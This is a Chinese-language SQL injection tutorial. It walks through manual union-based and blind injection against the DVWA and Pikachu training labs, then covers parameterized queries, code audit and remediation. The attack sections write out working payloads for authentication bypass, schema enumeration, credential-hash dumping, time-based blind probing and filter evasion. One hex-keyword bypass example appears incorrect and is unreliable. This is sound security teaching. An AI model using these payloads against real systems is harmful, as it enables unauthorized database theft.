SQL注入实战：从手工注入原理到安全防御全解析

1. 项目概述：从“拖库”到“避坑”的实战之旅

最近在安全圈和开发者社区里，一个老生常谈但又永不过时的话题又被频繁提起：SQL注入。你可能在新闻里看到过“某平台因漏洞导致百万用户数据泄露”，或者在技术论坛里刷到过“CTF靶场通关之SQL注入篇”。这些事件的背后，往往都绕不开一个核心攻击手法——SQL注入。而“输入框就能拖走数据库”这个说法，虽然听起来有点骇人听闻，但它确实形象地描绘了SQL注入漏洞的潜在威力：攻击者可能仅仅通过一个看似无害的登录框、搜索框，就能构造特殊的输入，欺骗后端数据库执行非预期的SQL命令，进而窃取、篡改甚至删除整个数据库的内容，也就是我们常说的“脱库”。

我从事Web安全相关工作超过十年，亲手测试、审计过上百个系统，也帮助不少团队修复过紧急漏洞。可以负责任地说，SQL注入至今仍是OWASP Top 10榜单上的常客，是Web应用最普遍、危害也最直接的安全漏洞之一。很多开发者，尤其是刚入行的朋友，往往对它的理解停留在“参数化查询就能解决”的层面，但实际开发中，由于框架使用不当、历史代码遗留、甚至是对ORM的过度信任，漏洞依然会以各种意想不到的方式出现。

这篇文章，我将从一个实战者的角度，带你从零开始，重新认识SQL注入。我们不会停留在枯燥的理论上，而是通过模拟真实的手工注入过程，让你亲身体验攻击者是如何一步步“拖走”数据的。更重要的是，我会把重点放在“避坑”上——不仅仅是开发时如何写出安全的代码，更包括在渗透测试或安全自查时，如何系统性地发现、验证和修复这类漏洞。无论你是想夯实安全基础的开发者，还是对安全测试感兴趣的初学者，抑或是需要应对安全考核的运维人员，这篇指南都将提供一条清晰的、可操作的路径。

2. 核心需求解析：为什么我们仍需关注手工SQL注入？

在自动化工具（如sqlmap）大行其道的今天，为什么我们还要费时费力地去学习“手工”注入？这背后有几个核心且现实的需求。

2.1 理解漏洞本质，而非依赖工具黑盒

sqlmap这类工具非常强大，它能自动探测注入点、识别数据库类型、枚举数据，堪称“拖库神器”。但如果你只停留在使用工具的阶段，那么你学到的只是一个按钮。当工具失效时（比如遇到复杂的WAF、非常规的过滤、或者工具无法识别的注入类型），你就会束手无策。手工注入的过程，迫使你去理解HTTP请求与SQL语句的拼接逻辑，去思考数据库的报错信息含义，去一步步构造和调整Payload。这个过程能让你真正“看见”漏洞是如何产生的，从而在代码层面更深刻地理解如何避免它。知其然，更要知其所以然，这是安全能力的基石。

2.2 应对定制化场景与深度测试

很多企业的内部系统、老旧系统或者使用非主流框架的开发，其代码结构和过滤机制千奇百怪。自动化工具通用的Payload库可能无法覆盖。例如，某些系统会对输入进行转义或编码，但逻辑存在缺陷；或者应用程序在拼接SQL前做了多层处理。这时，就需要测试人员根据实际情况，手工构造精巧的Payload进行探测和利用。此外，在进行深度安全评估时，仅仅证明存在注入点是不够的，还需要精确判断注入的类型（字符型、数字型、搜索型、盲注等）、可利用的数据库函数、以及当前数据库用户的权限，这些精细化的判断往往需要手工测试来辅助和验证。

2.3 提升排查与修复的精准度

作为开发者或安全工程师，当系统被扫描出疑似SQL注入漏洞时，你需要快速定位问题根源。如果你懂手工注入，就能迅速复现漏洞，精确找到是哪个参数、哪行代码出了问题。是字符串拼接时忘了转义？是使用了不安全的动态拼接方式？还是ORM框架的某个方法使用不当？手工注入能帮你快速定位到具体的代码片段，从而提出最直接有效的修复方案，而不是笼统地建议“使用参数化查询”。

注意 ：本文所有技术内容仅用于合法的安全学习、测试和防御。请在拥有明确授权（如自有服务器、专为安全测试搭建的靶场环境）的前提下进行所有实践操作。未经授权对任何系统进行测试均属违法行为。

3. 环境搭建与靶场选择：打造你的安全实验室

工欲善其事，必先利其器。学习手工注入，一个隔离的、安全的实验环境是必不可少的。我们不建议也不允许在任何线上或未授权的系统上进行测试。下面推荐几个经典且免费的开源靶场，它们专门为Web安全学习而设计，内置了各种难度的SQL注入场景。

3.1 主流靶场对比与部署

1. DVWA (Damn Vulnerable Web Application) 这是最知名的入门级靶场之一。它的SQL注入模块设置了从“Low”到“Impossible”四个安全等级，完美展示了从毫无防护到最佳防护的代码演进过程。

• 部署 ：通常与XAMPP、PHPStudy等集成环境一起使用。下载源码后，放入Web服务器目录（如 htdocs ），访问安装页面按提示初始化即可。初始用户名/密码为 admin / password 。
• 特点 ：简单易用，代码直观，适合观察不同防护等级下的源码差异。

2. SQLi-Labs 这是一个专注于SQL注入学习的靶场，包含了超过75关，涵盖了报错注入、布尔盲注、时间盲注、堆叠查询、二次注入等几乎所有注入类型，并且支持MySQL、MSSQL、Oracle等多种数据库。

• 部署 ：同样需要PHP+MySQL环境。下载后配置 sql-connections 目录下的 db-creds.inc 文件，填入你的数据库连接信息，然后通过浏览器访问首页进行安装。
• 特点 ：关卡制，挑战性强，是系统学习各种注入技法的绝佳平台。

3. Pikachu 一个中文的漏洞练习平台，覆盖了SQL注入、XSS、CSRF、文件上传等常见Web漏洞。它的SQL注入模块分类清晰，有数字型、字符型、搜索型、xx型、插入/更新型、删除型、盲注等，更贴近国内开发者的命名习惯和场景。

• 部署 ：基于PHP开发，部署方式与DVWA类似。
• 特点 ：中文界面，漏洞场景描述贴近实际，适合国内初学者。

对于本文的后续演示，我将主要基于 DVWA靶场（Low级别） 和 Pikachu靶场 进行，因为它们的环境搭建最简单，漏洞场景最典型。

3.2 必备工具清单

除了靶场，你还需要几个趁手的工具来辅助测试：

1. 浏览器 ：Chrome或Firefox。它们的开发者工具（F12）是我们分析请求和响应的核心。
2. Burp Suite Community Edition ：功能强大的Web漏洞扫描器和代理工具。即使使用社区版，其Proxy（代理）、Repeater（重放）功能也足以让我们拦截、修改和重复发送HTTP请求，这对于手工构造和测试Payload至关重要。
3. 数据库管理工具 ：如phpMyAdmin（通常集成在XAMPP中）或Navicat。用于在测试前后，直观地查看靶场数据库的结构和数据变化，验证注入结果。

4. SQL注入原理深度拆解：漏洞是如何产生的？

在开始“拖库”之前，我们必须彻底搞清楚，数据库是怎么被我们“骗”到的。一切都要从Web应用如何处理用户输入说起。

4.1 一个经典的漏洞代码示例

假设一个简单的用户登录功能，后端PHP代码可能是这样的（极不安全的写法）：

$user = $_POST['username'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = mysqli_query($conn, $sql);

这段代码的逻辑很直接：获取用户输入的用户名和密码，直接拼接到SQL查询字符串中，然后执行。

如果用户老老实实输入 admin 和 123456 ，那么拼接后的SQL语句是：

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

这没问题，数据库会去 users 表里查找匹配的记录。

4.2 攻击者的“魔法”输入

现在，攻击者在用户名输入框里输入的不是 admin ，而是一个特殊的字符串： admin' -- （注意 -- 后面有个空格，在SQL中这是单行注释符）。

此时，拼接后的SQL语句变成了：

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '$pass'

由于 -- 注释掉了其后所有的内容，这条SQL的实际执行效果变成了：

SELECT * FROM users WHERE username = 'admin'

这意味着，只要数据库里存在用户名为 admin 的记录，无论密码输入什么，这条查询都会成功返回结果！攻击者就这样绕过了密码验证，实现了“万能密码”登录。

4.3 漏洞产生的根本原因

这个简单的例子揭示了SQL注入的两个核心：

1. 用户输入被信任为代码 ：应用程序没有严格区分“数据”和“代码”。它把用户输入的 admin' -- 直接当成了SQL语句的一部分来执行，其中的单引号 ' 闭合了原语句中的字符串，而 -- 则篡改了原语句的逻辑。
2. 字符串拼接 ：使用原始的字符串拼接方式（如PHP中的 . ，Python中的 + ）来构建SQL语句，这是万恶之源。

4.4 注入点类型辨析

根据用户输入被拼接进SQL语句时的上下文，注入点主要分为两类：

• 数字型注入 ：输入点被用于数字上下文，如 WHERE id = $input 。这类注入通常不需要闭合单引号。例如输入 1 OR 1=1 ，拼接后为 WHERE id = 1 OR 1=1 ，会返回所有数据。
• 字符型注入 ：输入点被用于字符串上下文，如 WHERE name = '$input' 。这类注入需要先闭合前面的引号，再构造Payload，如上面的 admin' -- 例子。有时可能是双引号包裹。

判断类型是手工注入的第一步。一个简单的方法是：先尝试输入一个单引号 ' 。如果页面返回数据库错误（如 You have an error in your SQL syntax... ），这很可能是一个字符型注入点，且没有有效过滤。如果没报错，可以再尝试 1' and '1'='1 和 1' and '1'='2 ，观察页面返回结果是否不同，来进一步判断。

5. 手工注入实战：步步为营，手动脱库

理论讲完，我们进入实战环节。我将以DVWA靶场（Security Level设置为Low）的SQL Injection模块为例，演示一次完整的手工联合查询注入（Union Based Injection）过程。这是信息获取最直接的一种方式。

5.1 第一步：探测与确认注入点

访问DVWA的SQL Injection页面，我们看到一个简单的用户ID查询框。

1. 正常输入 ：输入 1 ，提交。页面返回了用户ID为1的用户信息（First name, Surname）。这说明这是一个根据ID查询用户的功能。
2. 触发错误 ：输入 1' （数字1加一个单引号），提交。
   • 观察结果 ：页面返回了详细的MySQL数据库报错信息。这立刻告诉我们两件事：第一，存在SQL注入漏洞；第二，这是一个 字符型 注入点，因为单引号破坏了SQL语法。
   • 分析报错 ：错误信息类似于 ...near ''1'' at line 1 。这提示我们，原始查询可能是 SELECT ... FROM ... WHERE id = '$input' 。我们的输入 1' 被拼接后变成了 WHERE id = '1'' ，多出的那个单引号导致语法错误。
3. 验证注入 ：输入 1' and '1'='1 。这构造了一个永真条件。拼接后的SQL是 WHERE id = '1' and '1'='1' ，逻辑为真，应正常返回ID=1的用户信息。 再输入 1' and '1'='2 。这是一个永假条件，拼接后为 WHERE id = '1' and '1'='2' ，逻辑为假，查询应无结果。 如果页面行为符合预期（前者有数据，后者无数据），则注入点确认无误。

5.2 第二步：判断字段数（Order By）

为了后续使用 UNION SELECT 查询，我们必须知道当前SQL查询语句返回的列数（字段数）。 我们使用 ORDER BY 子句来探测。 ORDER BY n 表示根据第n列进行排序，如果n超过了实际列数，数据库就会报错。

1. 输入： 1' order by 1 --
   • 1' ：闭合原查询的引号。
   • order by 1 ：尝试按第一列排序。
   • -- ：注释掉原查询后续部分（比如可能有的 ' 和 LIMIT 等）。注意 -- 后必须有一个空格。
   • 页面正常返回，说明查询结果至少有1列。
2. 输入： 1' order by 2 -- ，页面正常。
3. 输入： 1' order by 3 -- ，页面正常。
4. 输入： 1' order by 4 -- ， 页面返回错误或空白 。
5. 结论 ：当 order by 4 时报错，说明当前查询结果只有 3列 。这是关键信息。

5.3 第三步：探测回显点（Union Select）

UNION 操作符用于合并两个SELECT语句的结果集。前提是两个SELECT语句必须拥有相同数量的列，且列的数据类型相似。我们已经知道原查询有3列。

1. 构造Payload： 1' union select 1,2,3 --
   • 这个Payload会执行两个查询：原查询（ SELECT ... WHERE id = '1' ）和我们的查询（ SELECT 1,2,3 ），然后将结果合并。
   • 我们输入一个不存在的ID（比如 -1' ）或者确保原查询无结果（ 1' and 1=2 ），这样页面上显示的就全是我们 union select 的结果。
2. 输入： -1' union select 1,2,3 -- 提交。
3. 观察页面 ：页面不再显示用户信息，而是显示了数字 2 和 3 （可能只有两个位置显示）。这说明在这个页面的输出中， 第2列和第3列 的数据被回显到了页面上。这两个位置就是我们后续注入查询结果的地方。假设只有 2 和 3 显示。

5.4 第四步：获取数据库信息

现在，我们可以把 union select 中的数字替换成我们想查询的数据库函数，让结果回显在页面上。

1. 查询当前数据库名 ：
   • Payload: -1' union select 1, database(), version() --
   • 我们将 2 的位置替换为 database() 函数（返回当前数据库名）， 3 的位置替换为 version() 函数（返回数据库版本）。
   • 提交后，页面可能会在对应位置显示类似 dvwa 和 5.7.26 这样的信息。我们成功获取到：当前数据库是 dvwa ，MySQL版本是 5.7.26 。
2. 查询当前数据库用户 ：
   • Payload: -1' union select 1, user(), @@version_compile_os --
   • 这里 user() 返回当前连接数据库的用户， @@version_compile_os 返回操作系统信息。
   • 可能显示 root@localhost 和 Linux ，说明我们是以root权限在连接，这是一个高危信号。

5.5 第五步：枚举数据库表名

MySQL中，数据库的元数据（有哪些数据库、表、列）存储在名为 information_schema 的系统数据库中。其中 TABLES 表存储了所有表的信息。

1. 查询 dvwa 数据库中的所有表名 ：
   • Payload: -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
   • table_schema=database() ：条件限定为当前数据库（ dvwa ）。
   • group_concat(table_name) ：将查询到的所有表名合并成一个字符串返回，避免多次查询。这是一个非常实用的函数。
   • 提交后，在回显点（第2列）可能会看到： guestbook,users 。这说明 dvwa 数据库中有两个表： guestbook （留言板）和 users （用户表，这通常是我们最感兴趣的）。

5.6 第六步：枚举表字段名

知道了表名（ users ），接下来需要知道这个表有哪些列（字段）。

1. 查询 users 表的所有列名 ：
   • Payload: -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --
   • table_name='users' ：指定表名。
   • 提交后，回显点可能显示： user_id,first_name,last_name,user,password,avatar,last_login,failed_login 。我们成功获取了表结构。最关键的字段显然是 user （用户名）和 password （密码）。

5.7 第七步：最终拖库——提取数据

万事俱备，现在可以直接查询 users 表里的敏感数据了。

1. 查询用户名和密码 ：
   • Payload: -1' union select 1,group_concat(user, ':', password),3 from users --
   • 这里用 : 将用户名和密码连接起来，方便查看。
   • 提交后，回显点会显示所有用户的用户名和密码哈希值，例如： admin:5f4dcc3b5aa765d61d8327deb882cf99, gordonb:e99a18c428cb38d5f260853678922e03, ...
   • 注意 ：在真实场景或设计良好的靶场（如DVWA）中，密码通常不是明文，而是经过MD5等算法加密的哈希值（Hash）。看到 5f4dcc3b5aa765d61d8327deb882cf99 ，有经验的人会知道这是 password 字符串的MD5值。

至此，我们完成了一次完整的手工联合查询注入，从探测漏洞到最终获取数据库中的所有用户凭证，每一步都清晰可见。这个过程就像在解一道逻辑谜题，每一步的推理都基于对数据库和应用程序交互的理解。

6. 盲注：当页面不再“说话”

上面的例子属于“有回显”的注入，错误信息和查询结果都能直接显示在页面上。但现实中，更多的情况是“盲注”（Blind SQL Injection）。开发者可能会关闭数据库错误显示，或者查询结果并不直接输出，页面只显示“存在”或“不存在”、“成功”或“失败”。这时，我们需要像侦探一样，通过观察页面行为的细微差异来推断信息。

6.1 布尔盲注原理

布尔盲注的核心思想是：构造一个条件判断的Payload，根据页面返回的 不同状态 （如正常/空白、包含某个关键词/不包含）来推断判断条件的真假。 例如，一个搜索功能，如果查询到结果就显示“找到X条记录”，否则显示“未找到”。虽然不显示具体数据，但这个“找到”和“未找到”的状态差异就是我们获取信息的通道。

实战步骤（以Pikachu盲注关卡为例）：

1. 判断注入类型与闭合方式 ：同样先尝试 ' ，发现不报错，但页面状态可能变化。通过尝试 1' and '1'='1 和 1' and '1'='2 ，观察页面是否从“存在”变为“不存在”，从而确认注入点。
2. 猜解当前数据库名长度 ：
   • Payload: 1' and length(database())=1 -- （页面显示“不存在”）
   • 1' and length(database())=2 -- （页面显示“不存在”）
   • ...
   • 1' and length(database())=4 -- （页面显示“存在”）
   • 结论 ：当前数据库名长度为4。
3. 逐位猜解数据库名 ：
   • 使用 substr() 或 mid() 函数，配合 ascii() 函数，将字符转换为ASCII码进行比对。
   • Payload: 1' and ascii(substr(database(),1,1))>100 -- （判断第一个字符的ASCII码是否大于100）
   • 通过不断调整比较的数值（可以使用二分法：>128? >64? ...），最终确定第一个字符的ASCII码是 100 ，对应字母 d 。
   • 重复此过程，猜解 substr(database(),2,1) , substr(database(),3,1) ... 最终拼出数据库名 dvwa 。
4. 猜解表名、列名、数据 ：过程类似，但极其繁琐。需要构造如 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 -- 这样的Payload，逐个字符猜解第一个表名。 limit 0,1 表示取第一个表。

6.2 时间盲注原理

如果页面连布尔状态都没有任何差异（无论输入什么，页面看起来都一样），那么可以考虑时间盲注。其核心是：利用数据库的延时函数（如MySQL的 sleep() ），如果条件为真，则让数据库等待几秒，通过观察页面响应时间的差异来判断条件真假。

• Payload: 1' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --
• 如果第一个字符的ASCII码大于100，则数据库会休眠5秒，页面响应明显变慢；否则立即返回。通过测量响应时间，就能进行判断。

实操心得 ：手工进行完整的盲注极其耗时，在实际渗透测试中，一旦确认存在盲注漏洞，通常会使用sqlmap等工具的 --technique=B 或 --technique=T 参数进行自动化利用。但理解其原理，对于编写检测规则、理解WAF绕过技巧以及进行深度手动验证至关重要。

7. 避坑指南：防御、检测与修复

了解了攻击，才能更好地防御。作为开发者或安全人员，我们必须知道如何避免和修复这些漏洞。

7.1 开发阶段：根本性防御

1. 使用参数化查询（预编译语句） 这是防止SQL注入最有效、最根本的方法。它的原理是将SQL语句的 结构 （模板）与 数据 （参数）分开处理。数据库先编译SQL结构，再将参数作为纯粹的数据传入，从根本上杜绝了数据被解释为代码的可能。

• PHP (PDO) :

  $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
  $stmt->execute(['user' => $username, 'pass' => $password]);
  

• PHP (MySQLi) :

  $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
  $stmt->bind_param("ss", $username, $password); // "ss"表示两个字符串参数
  $stmt->execute();
  

• Python (PyMySQL/sqlite3) :

  cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
  

• Java (JDBC) :

  PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
  stmt.setString(1, username);
  stmt.setString(2, password);
  ResultSet rs = stmt.executeQuery();
  

2. 使用安全的ORM框架 现代Web框架（如Laravel的Eloquent、Django的ORM、MyBatis等）通常内置了参数化查询或安全的查询构建器。但要注意， 错误地使用ORM也可能导致注入 ！例如：

• 错误示例（Django） ： User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{username}'") （使用了危险的字符串格式化）
• 正确示例 ： User.objects.filter(username=username) （使用ORM的查询API）

3. 严格的输入验证与过滤 将输入验证视为“白名单”策略。对于已知明确格式的数据（如数字ID、邮箱、电话号码），在业务逻辑层进行严格校验。

• 数字型参数 ：使用 intval() 、 filter_var($input, FILTER_VALIDATE_INT) 等函数强制转换为整数。
• 特定格式 ：使用正则表达式验证。但切记， 过滤不能替代参数化查询 ，复杂的过滤规则可能被绕过。

4. 最小权限原则 为Web应用程序连接数据库的账户分配 最小必要权限 。通常，Web应用只需要 SELECT 、 INSERT 、 UPDATE 、 DELETE 等基本数据操作权限，绝对不应该拥有 DROP 、 CREATE TABLE 、 FILE 、 GRANT 等高级权限。这样即使发生注入，损失也能被限制在可控范围内。

7.2 测试与审计阶段：主动发现漏洞

1. 代码审计

• 搜索危险函数/模式 ：在代码中全局搜索 mysql_query() 、 mysqli_query() 、 .execute() 拼接字符串、 "SELECT ... " + variable 、 f"SELECT ... {var}" (Python f-string) 等模式。
• 检查ORM使用 ：检查是否使用了不安全的Raw SQL方法，如 raw() 、 execute() 直接拼接字符串。
• 关注二次注入 ：数据从数据库取出后，再次被用于拼接SQL查询。即使第一次入库时经过了转义，但取出时是“干净”的数据，第二次使用时可能被误认为是安全的，从而造成注入。

2. 黑盒测试（渗透测试）

• 模糊测试 ：对所有用户输入点（URL参数、POST表单、Cookie、HTTP头）尝试注入测试字符： ' 、 " 、 \ 、 # 、 -- 、 ; 、 OR 1=1 、 AND 1=2 等。
• 观察响应 ：注意页面内容差异、HTTP状态码变化、响应时间差异以及任何数据库错误信息。
• 使用工具辅助 ：在手工确认可能存在注入点后，可以使用sqlmap进行深度利用，获取数据。但工具不能替代手工的逻辑判断。

7.3 运维与应急阶段：缓解与修复

1. Web应用防火墙 部署WAF可以在网络层面拦截常见的SQL注入攻击Payload。但WAF是缓解措施，不是修复措施。攻击者可能通过编码、混淆等技术绕过WAF规则。

2. 数据库安全配置

• 关闭错误回显 ：避免将详细的数据库错误信息直接返回给客户端。生产环境应关闭 display_errors ，使用自定义错误页面。
• 定期更新与打补丁 ：保持数据库管理系统（DBMS）和中间件（如PHP、Java）的版本更新，修复已知的安全漏洞。

3. 漏洞修复流程 一旦发现SQL注入漏洞，修复流程应快速且严谨：

1. 定位 ：精确找到存在漏洞的代码文件及行号。
2. 分析 ：判断漏洞类型（字符型/数字型/盲注）、触发点、可利用程度。
3. 修复 ：
   • 首选方案 ：将动态拼接的SQL语句改为参数化查询或预编译语句。
   • 次选方案 ：如果因历史原因暂时无法重构，应对输入进行严格的转义（如使用 mysqli_real_escape_string() ）。但请记住，转义规则因数据库而异，且不是绝对安全。
4. 测试 ：修复后，必须使用之前成功的Payload进行回归测试，确保漏洞已被彻底堵上。同时进行功能测试，确保修复没有引入新的Bug。
5. 复盘 ：分析漏洞产生的原因，是开发规范问题、代码审查缺失还是框架使用不当？完善相应的开发安全流程（SDL）。

8. 高级话题与常见误区

8.1 常见过滤绕过技巧（了解攻击，更好防御）

攻击者为了绕过简单的防御，会使用各种技巧：

• 大小写混淆 ： OrDeR By 、 UnIoN SeLeCt
• 双写关键字 ：如果程序过滤了 select ，替换为空，可以尝试 selselectect ，过滤后变成 select 。
• 使用注释分割 ： /**/ 可以充当空格，如 UNION/**/SELECT 。
• 使用编码 ：URL编码、十六进制编码、Unicode编码等。例如， SELECT 的十六进制是 0x53454c454354 ，在MySQL中可以这样使用： 1' UNION SELECT 1,2,3 -- 可以尝试 1' UNION 0x53454c454354 1,2,3 -- 。
• 使用等价函数或语法 ： and 可以用 && 代替， or 可以用 || 代替（取决于数据库）。 sleep(5) 可以用 benchmark(10000000,md5('test')) 来制造延时。

8.2 误区澄清

• 误区一：“我用的是ORM/框架，所以绝对安全。” 错！如前所述，错误使用ORM（如拼接字符串）依然会导致注入。框架提供了安全的工具，但需要正确使用。
• 误区二：“我过滤了单引号，就安全了。” 错！数字型注入不需要单引号。而且过滤可能不彻底，或者存在编码问题导致绕过。
• 误区三：“我在前端做了输入校验，后端就轻松了。” 大错特错！前端校验仅用于改善用户体验，攻击者可以轻易绕过（如直接发送POST请求）。所有安全校验必须在服务端进行。
• 误区四：“参数化查询影响性能。” 现代数据库对预编译语句有很好的缓存机制，性能影响微乎其微。与安全风险相比，这点性能代价完全可以接受。

手工SQL注入的学习，是一个理解Web应用与数据库交互本质的过程。它像一把钥匙，既打开了攻击者的思路，也照亮了防御者的道路。通过这次从原理到实战，再到防御的完整旅程，希望你能建立起对SQL注入立体而深刻的认识。真正的安全，始于对漏洞的敬畏和透彻的理解。在平时的开发中，养成使用参数化查询的习惯；在安全测试中，保持手工验证的严谨。这条路没有捷径，但每一步都算数。